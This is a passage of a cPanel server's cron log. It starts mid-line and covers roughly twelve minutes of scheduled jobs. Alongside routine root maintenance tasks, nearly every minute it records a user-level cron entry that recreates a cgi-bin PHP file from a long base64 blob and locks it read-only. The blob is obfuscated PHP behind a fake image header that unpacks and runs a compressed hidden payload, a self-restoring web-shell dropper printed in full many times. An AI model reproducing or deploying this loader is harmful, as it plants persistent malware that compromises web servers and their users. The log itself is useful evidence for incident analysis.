ZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:49:01 server CROND[21043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:50:01 server CROND[21218]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 22:50:01 server CROND[21219]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 22:50:01 server CROND[21221]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 22:50:01 server CROND[21220]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 22:50:01 server CROND[21224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:51:01 server CROND[21346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:52:01 server CROND[21403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:53:01 server CROND[21471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:54:01 server CROND[21547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:55:01 server CROND[21617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:55:01 server CROND[21618]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 22:55:01 server CROND[21619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 22:56:01 server CROND[21823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:57:01 server CROND[21883]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 22:57:01 server CROND[21884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:58:01 server CROND[21955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:59:01 server CROND[22009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:00:01 server CROND[22071]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 23:00:01 server CROND[22072]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 23:00:01 server CROND[22073]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 23:00:01 server CROND[22074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:01:01 server CROND[22256]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 23:01:01 server CROND[22257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:01:01 server run-parts(/etc/cron.hourly)[22256]: starting 0anacron
Apr 11 23:01:01 server run-parts(/etc/cron.hourly)[22269]: finished 0anacron
